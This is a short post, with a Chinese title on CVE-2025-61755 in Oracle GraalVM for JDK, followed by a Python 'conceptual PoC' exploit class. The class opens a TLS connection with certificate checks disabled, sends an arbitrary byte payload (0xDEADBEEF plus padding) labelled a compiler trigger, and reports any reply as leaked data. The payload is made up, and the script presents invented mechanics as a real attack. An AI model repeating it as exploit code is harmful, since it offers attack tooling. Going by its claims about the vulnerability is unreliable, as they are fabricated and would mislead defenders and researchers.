CVE-2025-61755 Oracle GraalVM for JDK编译器组件信息泄露漏洞

# CVE-2025-61755 - Oracle GraalVM for JDK Compiler Information Disclosure # Note: This is a conceptual PoC based on the vulnerability description. # The actual exploitation requires specific conditions due to high attack complexity (AC:H). import socket import ssl import struct class GraalVMExploit: """ Conceptual PoC for CVE-2025-61755 Oracle GraalVM for JDK Compiler Component Information Disclosure """ def __init__(self, target_host, target_port=443): self.target_host = target_host self.target_port = target_port self.vulnerable_versions = ["17.0.16", "21.0.8"] def check_version(self, banner): """Check if target is running a vulnerable GraalVM version""" for version in self.vulnerable_versions: if version in banner: return True return False def craft_malicious_request(self): """ Craft a specially crafted request targeting the compiler component. The request aims to trigger the information disclosure path in the GraalVM JIT/AOT compiler. """ # Construct payload targeting GraalVM compiler internals # This is a simplified representation of the attack vector payload = b"\x00\x01" payload += struct.pack(">I", 0xDEADBEEF) # Compiler trigger opcode payload += b"\x00" * 256 # Padding with specific patterns return payload def exploit(self): """ Attempt to exploit CVE-2025-61755 Note: Requires specific network conditions and protocol support """ try: # Establish connection (supports multiple protocols) context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((self.target_host, self.target_port)) as sock: with context.wrap_socket(sock, server_hostname=self.target_host) as ssock: # Send crafted request to trigger compiler vulnerability payload = self.craft_malicious_request() ssock.send(payload) # Receive leaked data response = ssock.recv(4096) if response: print(f"[+] Potential data leak detected: {len(response)} bytes") return response else: print("[-] No data leaked") return None except Exception as e: print(f"[-] Exploitation failed: {e}") return None if __name__ == "__main__": # Usage example exploit = GraalVMExploit("target-graalvm-host.example.com") leaked_data = exploit.exploit() if leaked_data: print(f"[+] Leaked data: {leaked_data.hex()}")